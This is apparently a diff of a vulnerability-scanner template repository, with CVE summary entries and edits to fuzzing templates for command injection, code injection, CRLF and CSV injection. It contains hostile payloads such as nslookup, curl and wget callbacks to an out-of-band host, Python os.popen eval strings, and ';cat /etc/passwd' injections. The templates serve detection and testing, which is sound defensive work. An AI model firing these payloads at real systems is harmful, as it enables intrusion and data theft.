{"ID":"CVE-2026-73570","Info":{"Name":"Zimbra Collaboration Suite \u003c 10.1.20 - OS Command Injection","Severity":"high","Description":"Zimbra Collaboration Suite (ZCS) before version 10.1.20 is vulnerable to OS command injection in the SNMP notification processing due to improper input sanitization. According to the NVD, when SNMP notifications are enabled and the zimbra-snmp package is installed, an unauthenticated attacker can inject arbitrary commands using crafted SMTP requests that result in malicious log entries. The swatchdog service monitors the log, and upon matching a pattern, passes the log content to zmsnmptrapd, which unsafely uses the Perl backtick operator to execute commands. This can ultimately allow remote attackers to execute arbitrary operating system commands as the zimbra user. Active exploitation of this vulnerability has been observed in the wild, as confirmed by CERT Polska and CISA.\n","Classification":{"CVSSScore":"8.9"}},"file_path":"network/cves/2026/CVE-2026-73570.yaml"}
{"ID":"CVE-2010-20103","Info":{"Name":"ProFTPd-1.3.3c - Backdoor Command Execution","Severity":"critical","Description":"ProFTPD 1.3.3c contains a command injection backdoor caused by a hidden FTP command trigger in the source tarball, letting remote unauthenticated attackers execute arbitrary shell commands with root privileges.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2010/CVE-2010-20103.yaml"}
{"ID":"CVE-2012-2122","Info":{"Name":"MySQL - Authentication Bypass","Severity":"medium","Description":"sql/password.c in Oracle MySQL 5.1.x before 5.1.63, 5.5.x before 5.5.24, and 5.6.x before 5.6.6, and MariaDB 5.1.x before 5.1.62, 5.2.x before 5.2.12, 5.3.x before 5.3.6, and 5.5.x before 5.5.23, when running in certain environments with certain implementations of the memcmp function, allows remote attackers to bypass authentication by repeatedly authenticating with the same incorrect password, which eventually causes a token comparison to succeed due to an improperly-checked return value.\n","Classification":{"CVSSScore":"5.1"}},"file_path":"javascript/cves/2012/CVE-2012-2122.yaml"}
{"ID":"CVE-2016-8706","Info":{"Name":"Memcached Server SASL Authentication - Remote Code Execution","Severity":"high","Description":"An integer overflow in process_bin_sasl_auth function in Memcached, which is responsible for authentication commands of Memcached binary protocol, can be abused to cause heap overflow and lead to remote code execution.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"javascript/cves/2016/CVE-2016-8706.yaml"}
@@ -4173,6 +4387,7 @@
{"ID":"CVE-2020-2883","Info":{"Name":"Oracle WebLogic Server - Remote Code Execution","Severity":"critical","Description":"Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via IIOP, T3 to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.0 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2020/CVE-2020-2883.yaml"}
{"ID":"CVE-2020-4429","Info":{"Name":"IBM Data Risk Manager - Hardcoded Credentials","Severity":"critical","Description":"IBM Data Risk Manager 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.0.5, and 2.0.6 contains a default password for an IDRM administrative account. A remote attacker could exploit this vulnerability to login and execute arbitrary code on the system with root privileges. IBM X-Force ID- 180534.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2020/CVE-2020-4429.yaml"}
{"ID":"CVE-2020-7247","Info":{"Name":"OpenSMTPD 6.4.0-6.6.1 - Remote Code Execution","Severity":"critical","Description":"OpenSMTPD versions 6.4.0 - 6.6.1 are susceptible to remote code execution. smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the \"uncommented\" default configuration. The issue exists because of an incorrect return value upon failure of input validation.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2020/CVE-2020-7247.yaml"}
{"ID":"CVE-2021-27877","Info":{"Name":"Veritas Backup Exec - Broken Authentication","Severity":"high","Description":"An issue was discovered in Veritas Backup Exec before 21.2. It supports multiple authentication schemes- SHA authentication is one of these. This authentication scheme is no longer used in current versions of the product, but hadn't yet been disabled. An attacker could remotely exploit this scheme to gain unauthorized access to an Agent and execute privileged commands.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"javascript/cves/2021/CVE-2021-27877.yaml"}
{"ID":"CVE-2021-35211","Info":{"Name":"SolarWinds Serv-U FTP - Remote Code Execution","Severity":"critical","Description":"SolarWinds Serv-U Managed File Transfer and Serv-U Secure FTP for Windows before 15.2.3 HF2 contain a remote memory escape caused remote code execution vulnerability, letting attackers gain privileged access, exploit requires remote attacker to send crafted memory operations.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2021/CVE-2021-35211.yaml"}
{"ID":"CVE-2021-35394","Info":{"Name":"RealTek AP Router SDK - Arbitrary Command Injection","Severity":"critical","Description":"The SDK exposes a UDP server that allows remote execution of arbitray commands.","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2021/CVE-2021-35394.yaml"}
{"ID":"CVE-2021-36754","Info":{"Name":"PowerDNS Authoritative Server - Denial of Service","Severity":"high","Description":"PowerDNS Authoritative Server 4.5.0 before 4.5.1 allows anybody to crash the process by sending a specific query (QTYPE 65535) that causes an out-of-bounds exception.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"javascript/cves/2021/CVE-2021-36754.yaml"}
@@ -4186,15 +4401,20 @@
{"ID":"CVE-2024-47176","Info":{"Name":"CUPS - Remote Code Execution","Severity":"high","Description":"CUPS is a standards-based, open-source printing system, and cups-browsed contains network printing functionality including, but not limited to, auto-discovering print services and shared printers. cups-browsed binds to INADDR_ANY-631, causing it to trust any packet from any source, and can cause the Get-Printer-Attributes IPP request to an attacker controlled URL.\nDue to the service binding to *-631 ( INADDR_ANY ), multiple bugs in cups-browsed can be exploited in sequence to introduce a malicious printer to the system. This chain of exploits ultimately enables an attacker to execute arbitrary commands remotely on the target machine without authentication when a print job is started. This poses a significant security risk over the network. Notably, this vulnerability is particularly concerning as it can be exploited from the public internet, potentially exposing a vast number of systems to remote attacks if their CUPS services are enabled.\n","Classification":{"CVSSScore":"8.3"}},"file_path":"javascript/cves/2024/CVE-2024-47176.yaml"}
{"ID":"CVE-2025-12101","Info":{"Name":"Citrix NetScaler ADC \u0026 Gateway - Reflected XSS / Open Redirect","Severity":"medium","Description":"Cross-Site Scripting (XSS) in NetScaler ADC and NetScaler Gateway when the appliance is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-12101.yaml"}
{"ID":"CVE-2025-14847","Info":{"Name":"MongoDB Server - Information Disclosure (MongoBleed)","Severity":"high","Description":"MongoDB Server contained a flaw in the zlib decompression logic where\nmismatched length fields in compressed protocol headers allowed a read\nof uninitialized heap memory by an unauthenticated client.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"javascript/cves/2025/CVE-2025-14847.yaml"}
{"ID":"CVE-2025-29635","Info":{"Name":"D-Link DIR-823X set_prohibiting - Command Injection","Severity":"high","Description":"D-Link DIR-823X 240126 and 240802 contain a command injection caused by sending a POST request to /goform/set_prohibiting, letting an authorized attacker execute arbitrary commands remotely, exploit requires attacker to be authorized.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"javascript/cves/2025/CVE-2025-29635.yaml"}
{"ID":"CVE-2025-46817","Info":{"Name":"Redis \u003c 8.2.1 lua script - Integer Overflow","Severity":"critical","Description":"Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted Lua script to cause an integer overflow and potentially lead to remote code execution The problem exists in all versions of Redis with Lua scripting. This issue is fixed in version 8.2.2.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-46817.yaml"}
{"ID":"CVE-2025-46818","Info":{"Name":"Redis Lua Sandbox \u003c 8.2.2 - Cross-User Escape","Severity":"high","Description":"Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted Lua script to manipulate different LUA objects and potentially run their own code in the context of another user. The problem exists in all versions of Redis with LUA scripting. This issue is fixed in version 8.2.2. A workaround to mitigate the problem without patching the redis-server executable is to prevent users from executing LUA scripts. This can be done using ACL to block a script by restricting both the EVAL and FUNCTION command families.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-46818.yaml"}
{"ID":"CVE-2025-46819","Info":{"Name":"Redis \u003c 8.2.1 Lua Long-String Delimiter - Out-of-Bounds Read","Severity":"high","Description":"Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted LUA script to read out-of-bound data or crash the server and subsequent denial of service. The problem exists in all versions of Redis with Lua scripting. This issue is fixed in version 8.2.2. To workaround this issue without patching the redis-server executable is to prevent users from executing Lua scripts. This can be done using ACL to block a script by restricting both the EVAL and FUNCTION command families.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-46819.yaml"}
{"ID":"CVE-2025-49844","Info":{"Name":"Redis Lua Parser \u003c 8.2.2 - Use After Free","Severity":"critical","Description":"Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted Lua script to manipulate the garbage collector, trigger a use-after-free and potentially lead to remote code execution. The problem exists in all versions of Redis with Lua scripting. This issue is fixed in version 8.2.2. To workaround this issue without patching the redis-server executable is to prevent users from executing Lua scripts. This can be done using ACL to restrict EVAL and EVALSHA commands.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-49844.yaml"}
{"ID":"CVE-2026-0257","Info":{"Name":"Palo Alto Networks PAN-OS - Authentication Bypass","Severity":"critical","Description":"Palo Alto Networks PAN-OS contains an authentication bypass caused by flaws in the GlobalProtect portal and gateway, letting attackers establish unauthorized VPN connections, exploit requires network access to the portal or gateway.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"javascript/cves/2026/CVE-2026-0257.yaml"}
{"ID":"CVE-2026-15409","Info":{"Name":"SonicWall SMA1000 - Server-Side Request Forgery","Severity":"critical","Description":"SMA1000 Appliance Work Place interface contains a server side request forgery caused by improper request validation, letting remote unauthenticated attackers make requests to unintended locations, exploit requires no special privileges.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"javascript/cves/2026/CVE-2026-15409.yaml"}
{"ID":"CVE-2026-16232","Info":{"Name":"Check Point Security Management Server - SmartConsole Authentication Bypass","Severity":"critical","Description":"An authentication bypass vulnerability in the Check Point SmartConsole login process allows an unauthenticated remote attacker to obtain an application login token and use it to authenticate with full administrative privileges. Successful exploitation allows the attacker to modify security policies and security configurations. Remote exploitation requires internet access to the Management Server IP address and a configuration that does not restrict Trusted Clients. Check Point is aware that this vulnerability is being exploited and has affected a very small number of customers.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2026/CVE-2026-16232.yaml"}
{"ID":"CVE-2026-1731","Info":{"Name":"BeyondTrust Remote Support - Unauthenticated WebSocket RCE","Severity":"critical","Description":"BeyondTrust Remote Support is vulnerable to unauthenticated remote code execution via the WebSocket endpoint /nw. An attacker can extract the company identifier from the /get_mech_list endpoint and use it to connect to the WebSocket service, then inject OS commands through the binary WebSocket payload that are executed on the server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2026/CVE-2026-1731.yaml"}
{"ID":"CVE-2026-33453","Info":{"Name":"Apache Camel camel-coap - Remote Code Execution","Severity":"critical","Description":"Apache Camel camel-coap component 4.14.0-4.14.5, 4.18.0 before 4.18.1, and 4.19.0 contains a remote code execution caused by improper header filtering of CoAP URI query parameters, letting unauthenticated attackers inject headers and execute arbitrary OS commands via header-sensitive producers, exploit requires sending a single CoAP UDP packet.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"javascript/cves/2026/CVE-2026-33453.yaml"}
{"ID":"CVE-2026-39363","Info":{"Name":"Vite Dev Server - Arbitrary File Read","Severity":"high","Description":"Vite dev server exposes the fetchModule method via its WebSocket HMR (Hot Module Replacement) endpoint using the vite-hmr sub-protocol. By connecting to the WebSocket endpoint and sending a crafted vite:invoke custom event that calls fetchModule with a file:// URL (e.g., file:///etc/passwd?raw), an attacker can bypass server.fs.deny restrictions and read arbitrary files from the server filesystem. The vulnerability exists because fetchModule does not enforce the same filesystem access controls as other Vite server endpoints.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"javascript/cves/2026/CVE-2026-39363.yaml"}
{"ID":"CVE-2026-39987","Info":{"Name":"Marimo \u003c= 0.20.4 - Pre-Auth Terminal WebSocket RCE","Severity":"critical","Description":"Marimo versions \u003c= 0.20.4 contain an unauthenticated remote code execution vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to connect via WebSocket, obtain a full PTY shell, and execute arbitrary OS commands on the underlying server.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"javascript/cves/2026/CVE-2026-39987.yaml"}
{"ID":"CVE-2026-44578","Info":{"Name":"Next.js WebSocket Upgrade Handler - SSRF","Severity":"high","Description":"Next.js 13.4.13 to before 15.5.16 and 16.2.5 contains a server-side request forgery caused by crafted WebSocket upgrade requests in the built-in Node.js server, letting attackers proxy requests to arbitrary destinations, exploit requires self-hosted deployment.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"javascript/cves/2026/CVE-2026-44578.yaml"}
{"ID":"CVE-2026-4480","Info":{"Name":"Samba Printing Subsystem - Remote Code Execution","Severity":"critical","Description":"A flaw was found in the Samba printing subsystem. Samba passes the client-controlled job description string to the command configured with the \"print command\" setting via the \"%J\" substitution character without escaping shell meta characters. A remote attacker could exploit this vulnerability by sending a specially crafted print job description that contains unescaped shell characters. This could lead to remote code execution on the affected system.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2026/CVE-2026-4480.yaml"}
{"ID":"CVE-2026-48908","Info":{"Name":"Joomla SP Page Builder \u003c= 6.6.1 - Unauthenticated Arbitrary File Upload RCE","Severity":"critical","Description":"SP Page Builder for Joomla contains an unrestricted file upload vulnerability allowing unauthenticated users to upload and execute arbitrary PHP code, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2026/CVE-2026-48908.yaml"}
{"ID":"CVE-2026-48909","Info":{"Name":"Joomla SP LMS \u003c= 4.1.3 - Remote Code Execution","Severity":"critical","Description":"SP LMS (com_splms) \u003c 4.1.4 by JoomShaper deserializes user-controlled cookie data without validation, enabling an unauthenticated remote attacker to execute arbitrary code on the server.\n","Classification":{"CVSSScore":"9.5"}},"file_path":"javascript/cves/2026/CVE-2026-48909.yaml"}
{"ID":"CVE-2026-55040","Info":{"Name":"Microsoft SharePoint Server - JWT Authentication Bypass","Severity":"critical","Description":"Microsoft SharePoint Server is vulnerable to an authentication bypass (CVE-2026-55040) in its JWT token validation pipeline (SPJsonWebSecurityTokenHandlerV2). The chain disables signature requirements (RequireSignedTokens=false, accepting alg:none tokens), resolves the actor token x5t thumbprint against the server's own STS signing certificate (freely retrievable from /_layouts/15/metadata/json/1) without verifying the signature, accepts unregistered certificate issuers, and only checks the actor token signature is non-empty. An unauthenticated remote attacker can forge a JWT and authenticate as any SharePoint user, including a site administrator. This template forges such a token and confirms the bypass by obtaining a SharePoint form digest.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"javascript/cves/2026/CVE-2026-55040.yaml"}
{"ID":"CVE-2026-83548","Info":{"Name":"SonicWall SMA1000 WorkPlace - Unauthenticated SSRF to CouchDB","Severity":"critical","Description":"A Pre-authentication SSRF vulnerability exists in the SMA1000 Appliance Work Place interface due to an unintended alternate access path.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"javascript/cves/2026/CVE-2026-83548.yaml"}
+1 -1
View File
@@ -1 +1 @@
f41fb6aca06836485c29dcab0865f337
c726f82cc399c6aa8ef15835f02c0156
+2 -2
View File
@@ -21,7 +21,7 @@ info:
cve-id: CVE-2018-19518
cwe-id: CWE-88
epss-score: 0.9523
epss-percentile: 0.99855
epss-percentile: 0.99861
metadata:
max-request: 1
confidence: tenative
@@ -53,4 +53,4 @@ http:
part: interactsh_request
words:
- "User-Agent: curl"
# digest: 4a0a00473045022100d86e59a5a04ceb71e390ab7ecf4c585e967313ce0f42e028b272c05bf0fc74520220735e80e46260f014f03d7a0799e7dc4a7a11d60f5f2ca4f1235e1dfa8b9d455f:922c64590222798bb761d5b6d8e72950
# digest: 480a0045304302204eb11bc87c5ce9a97f0d1d1a543503a6a9784536d01ead05ef42e28e4ea639af021f341df7cd3b0a49be8636f37a866c6d0812358fd1158946d2c7d614ae1d19f6:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -22,7 +22,7 @@ info:
cve-id: CVE-2020-9402
cwe-id: CWE-89
epss-score: 0.22513
epss-percentile: 0.97426
epss-percentile: 0.97578
cpe: cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*
metadata:
vendor: djangoproject
@@ -54,4 +54,4 @@ http:
- "ORA-06512:"
- "Request Method:"
condition: and
# digest: 4b0a00483046022100caef44b2bae34bcce37ebeb77449f1b27ed74c5eacd107b4b28ac8ed5881bb700221009c4fd705cc2013bbce0ed193812e36132de56f6f0f58334fcec15e90686b66db:922c64590222798bb761d5b6d8e72950
# digest: 490a004630440220147cee489513f22c84ba22aa9e0490d4547c07f1834a53414278d9f29684bfb8022006cc1ce45b56f88da605af980c4527ce66ab2e7b8447f32d70cd607658f4c585:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -20,11 +20,11 @@ info:
cve-id: CVE-2021-35042
cwe-id: CWE-89
epss-score: 0.44369
epss-percentile: 0.98609
epss-percentile: 0.9869
metadata:
verified: true
fofa-query: body="ProgrammingError" && body="ORDER BY"
tags: cve,cve2021,django,sqli,dast
tags: cve,cve2021,django,sqli,dast,vuln
variables:
rand_string: '{{rand_text_alpha(10, "abc")}}'
@@ -66,4 +66,4 @@ http:
- 'FROM\s+`([a-zA-Z_][a-zA-Z0-9_]*)`'
- 'relation\s+([a-zA-Z_][a-zA-Z0-9_]*)'
- "Table\\s+'[^']*\\.([a-zA-Z_][a-zA-Z0-9_]*)'"
# digest: 490a0046304402204705d74ad6dcf0f5a9bb1ebf85e259abc97cfc30f3736c4e2799799501b510dd022076e17848bfaadabb2fa7e887138324f19c90a713231b5fc9ee5b6060b394abdf:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100cacaf10a3691342d7b1766c4ee6f8c098b6c7002892564b5a7ddea0194499302022100de704c8cba0e03210eb8e8988e8a7eabf6dc33b469f036f5c5ee7a44190aa76a:922c64590222798bb761d5b6d8e72950
@@ -21,7 +21,7 @@ info:
cve-id: CVE-2021-45046
cwe-id: CWE-502
epss-score: 0.99977
epss-percentile: 0.9998
epss-percentile: 0.99979
metadata:
max-request: 1
confidence: tenative
@@ -66,4 +66,4 @@ http:
group: 1
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
# digest: 4a0a0047304502201b3762cd94d7077d3e322fe61c1045a80e07c1d111cc71a6075fc9ba1f184595022100dc2be6f8ae39f6801a84e41f77c752fa19f3a3fb1a10e9c1a7badada488b2474:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022054e560ab277667faac964118c56fb9268fd9e4d55a31244be0396f0ce2ee5cc90221009dc9fcf772966f21adb5b9a278a37acab976d81a82f1b026b9c6a43c5bda229d:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -21,7 +21,7 @@ info:
cvss-score: 9.8
cve-id: CVE-2022-22965
cwe-id: CWE-94
epss-score: 0.99677
epss-score: 0.99638
epss-percentile: 0.99948
cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
metadata:
@@ -59,4 +59,4 @@ http:
words:
- "User-Agent: Java"
case-insensitive: true
# digest: 4a0a0047304502201c63e812eeb0bcbeb9c858a41f50b8c73f41e06e7c42e98090d6c0835c2230bc02210098925684d40a4ce4ad2f6cdf80e29bf6d10205a063226defc65524e5b399904f:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402200290eef94e51749942fe3ee2ae2d87f4a62fbb5a5fe046abf59c3fd41236e62e0220034c74afa223cc832169087fa0f07aaef426ad720d9570acb95bd4050df5227c:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -21,7 +21,7 @@ info:
cve-id: CVE-2022-34265
cwe-id: CWE-89
epss-score: 0.73274
epss-percentile: 0.99392
epss-percentile: 0.99428
tags: sqli,dast,vulhub,cve,cve2022,django,vuln
variables:
@@ -50,4 +50,4 @@ http:
- type: status
status:
- 500
# digest: 4a0a00473045022001b30a141ee254aaa0acb94b35d33ee77adf4ee135a209ce5975b7aafff87e9a022100f1eac2430af11fc8d61bbd426155540f71ff9f49037d6b881ee7989301fa2ea3:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402205fe232ecb9906c179efbb0dc07ca301ddedd86ba55695e879ece20b92389f068022025692c56751b69dd7b2427098c53a0f0a294f351bfe3a484717a55f6e7bb7948:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -19,7 +19,7 @@ info:
cve-id: CVE-2024-2961
cwe-id: CWE-787
epss-score: 0.8833
epss-percentile: 0.99752
epss-percentile: 0.99762
tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast,vkev,vuln
flow: http(1) && http(2)
@@ -57,4 +57,4 @@ http:
- type: regex
regex:
- "root:x:0:0"
# digest: 4a0a004730450221008529646911e2aa9a9839746fad41ccbb4d173feb699adac86508097e50175ac302202fba7504078148bd0b1f297bafbfcd156a23065edbf63dd892560c4c986a43e1:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450220547cb7ed870aec00bfcc1c413422817961cd1b6dfbb59d9647dfa953cd86b431022100919be78ba95a70a85d688a89331d28c4dad4a1a7aa4f92748dfb58f5b813fccf:922c64590222798bb761d5b6d8e72950
@@ -22,7 +22,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
payload:
- "&nslookup {{marker}}&'\\\"`0&nslookup {{marker}}&`'"
@@ -31,7 +32,9 @@ http:
- "$(ping -c 1 {{marker}} | nslookup {{marker}} ; wget {{marker}} -O /dev/null)"
fuzzing:
- part: query
- parts:
- query
- body
type: postfix
fuzz:
- "{{payload}}"
@@ -47,4 +50,4 @@ http:
part: interactsh_protocol
words:
- "http"
# digest: 4a0a0047304502206a444a9acece7bd019548b1e08201a3550774099ab082c9b85ac7cf6d282a49e022100c15790c0d52b54c520db587da6e7aa8f3c21c0008bfc189ca3f51e11557b73e8:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100ffa659b189fa15afd2deb641d4d7b3ad6fc998004693b214687229e64c044014022100a35d3b3c7ca81690c0c05e027ef0b95752a80e42a98e5902bb995e10d39e35b7:922c64590222798bb761d5b6d8e72950
@@ -14,7 +14,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
injection:
- eval(compile("""for x in range(1):\\n import os\\n os.popen(r'{{Command}}').read()""",'','single'))
@@ -35,7 +36,9 @@ http:
- eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'{{Command}}',shell=True)""",'','single'))
fuzzing:
- part: query
- parts:
- query
- body
type: replace
fuzz:
- "{{injection}}"
@@ -46,4 +49,4 @@ http:
part: body
regex:
- 'root:.*:0:0:'
# digest: 4b0a00483046022100d20dead9d43184682b9162961ee82df8d0c89d9dcb2b219668c1f607b37c6a6f022100cddb28a5648ce05e0666ef2b25997ab11ea7c2dde5d78d7bb8245fb67e73ec39:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100cd9bba97f258c066f8503c51a37f32763c0c776da2023179cb9665d4e6c397d3022100b04ff58ead57ba70bb1b64bab48d1a4f591f5515215631baeecbbe96e621cf15:922c64590222798bb761d5b6d8e72950
+6 -3
View File
@@ -21,14 +21,17 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
stop-at-first-match: true
payloads:
interaction:
- "|nslookup {{marker}}|curl {{marker}}"
fuzzing:
- part: query
- parts:
- query
- body
fuzz:
- "{{interaction}}"
@@ -37,4 +40,4 @@ http:
part: interactsh_protocol
words:
- "dns"
# digest: 4b0a00483046022100d92df5db8aad5337f3bfd5b6b74ac56650ed4b46a01670f2cc17edfc482eebf70221008653513ecb252e26cbc2c9a2b34a6a150f3017f6eaff6568a00626ac7a8c64f4:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100e0426452b9d9cfa0ff0ba648b26c60b3fbcc93a25174f502334d9693ddb5b41b0221008c11d287b5f6fc884922738abbf813b43201b6aede175b32f502fd4d2bd73419:922c64590222798bb761d5b6d8e72950
@@ -19,13 +19,16 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
reflection:
- "{{first}}"
fuzzing:
- part: query
- parts:
- query
- body
type: postfix
fuzz:
- "{{reflection}}"
@@ -35,4 +38,4 @@ http:
part: header
regex:
- '(?m)(?i)(^set-cookie.*cookie_injection.*)'
# digest: 4a0a00473045022012d1757b00fc5a6f9ee4c883ae5413e0bd3973591b56ba0a5e79bc72b76f47cb022100c3719ad78ef3de245f1263e87dc46c710215231d1b04abed19543b0c6c520ed1:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100fcc832957048d66c083e01674bdb650b1f6aac2fe924de9a40f4175d15e9fcea022003ecffde416eccf471ecabcc2fb366f2280987da6a74bc0b23ef5abdd6829ae9:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
escape:
low:
@@ -62,7 +63,9 @@ http:
- "\r\t"
fuzzing:
- part: query
- parts:
- query
- body
type: postfix
fuzz:
- "{{escape}}Set-Cookie:crlfinjection=crlfinjection"
@@ -73,4 +76,4 @@ http:
part: header
regex:
- '(?m)^(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(crlfinjection=crlfinjection)(?:\s*?)(?:$|;)'
# digest: 4a0a00473045022015c1830b995bcda913cc28864b15263881395c09ffeeb5dd5dad17d8f41378fd022100f157c7577fbeb68be85c3343f2c4ee02312f6e8fd577e55699f645a6a9fbd955:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100bca778c35d5fc61dd71c6454594f25f309d049b5681c7bfdcfa41ab4eeed600a022100d2ee23bf8dc026de3b52c0427f4ca3c4ee3ed9ba15cec1f43f81de2833807e3a:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
csv_fuzz:
- "class.module.classLoader.resources.context.configFile=http://{{interactsh-url}}"
@@ -28,7 +29,9 @@ http:
- '=IMAGE("https://{{interactsh-url}}/images/srpr/logo3w.png")'
fuzzing:
- part: query
- parts:
- query
- body
type: replace # replaces existing parameter value with fuzz payload
mode: multiple # replaces all parameters value with fuzz payload
fuzz:
@@ -47,4 +50,4 @@ http:
- "text/csv"
- "application/csv"
- "application/vnd.ms-excel"
# digest: 480a0045304302204b04df532ec328b11991f3ce6db6e0f23ecf716ea56920967543344970fa6a63021f625b58f16210ea97db1831d0ba77a0c027c8687c9b4f9bca4ad0fdc0e0fc1f:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022047de9a9ade28a139a37de842b237ae72a42ccfed58a24a2166c1191da3ca847d022100a321d8f99e99bba547fcc6cdb6db36a15392eeceaf24cb7f7a4f72478899ded5:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,81 @@
id: unix-command-injection
info:
name: Unix Command Injection - Generic Detection
author: Jaenact
severity: high
description: |
Detected potential Unix/Linux OS command injection by replacing query parameter values with shell separator payloads and identifying successful command execution through command output patterns or response time delays. Payloads included semicolons, pipes, logical AND operators, backticks, command substitution, and newline injection.
impact: |
Successful exploitation allows arbitrary command execution on the underlying operating system, leading to full server compromise, data exfiltration, lateral movement, and denial of service.
remediation: |
Never pass user-controlled input directly to shell commands. Use parameterized APIs or language-native functions instead of system()/exec(). Apply strict allowlist input validation and enforce least-privilege execution contexts for application processes.
reference:
- https://owasp.org/www-community/attacks/Command_Injection
- https://cwe.mitre.org/data/definitions/78.html
- https://capec.mitre.org/data/definitions/88.html
- https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-78
metadata:
verified: true
max-request: 15
tags: cmdi,dast,rce,unix,linux,fuzz,vuln
http:
- pre-condition:
- type: dsl
dsl:
- 'method == "GET"'
payloads:
injection:
# shell separators with id
- ";id"
- "|id"
- "&&id"
- "`id`"
- "$(id)"
# file read
- ";cat /etc/passwd"
- "|cat /etc/passwd"
- "$(cat /etc/passwd)"
# newline injection
- "%0aid"
- "%0acat+/etc/passwd"
# time-based
- ";sleep 5"
- "|sleep 5"
- "&&sleep 5"
- "$(sleep 5)"
- "`sleep 5`"
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{injection}}"
stop-at-first-match: true
matchers-condition: or
matchers:
- type: regex
name: id-output
part: body
regex:
- 'uid=\d+\([^)]+\)\s+gid=\d+'
